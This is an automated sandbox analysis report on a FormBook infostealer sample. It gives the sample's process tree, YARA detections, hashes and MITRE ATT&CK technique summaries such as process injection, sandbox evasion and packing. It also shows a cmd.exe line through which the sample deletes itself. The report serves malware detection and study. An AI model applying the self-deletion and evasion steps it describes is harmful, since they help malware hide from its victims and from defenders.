Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: SKlGhwkzTi.exe PID: 4484 Parent PID: 6896

General

Start time:	17:58:07
Start date:	10/06/2021
Path:	C:\Users\user\Desktop\SKlGhwkzTi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SKlGhwkzTi.exe
Imagebase:	0xe00000
File size:	782336 bytes
MD5 hash:	8252E0BD8E579259CC18CEAE0C5C6D64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3424 Parent PID: 4484

General

Start time:	17:58:09
Start date:	10/06/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: help.exe PID: 6296 Parent PID: 4484

General

Start time:	17:58:45
Start date:	10/06/2021
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xf90000
File size:	10240 bytes
MD5 hash:	09A715036F14D3632AD03B52D1DA6BFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: cmd.exe PID: 7140 Parent PID: 6296

General

Start time:	17:58:47
Start date:	10/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6932 Parent PID: 7140

General

Start time:	17:58:48
Start date:	10/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SKlGhwkzTi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph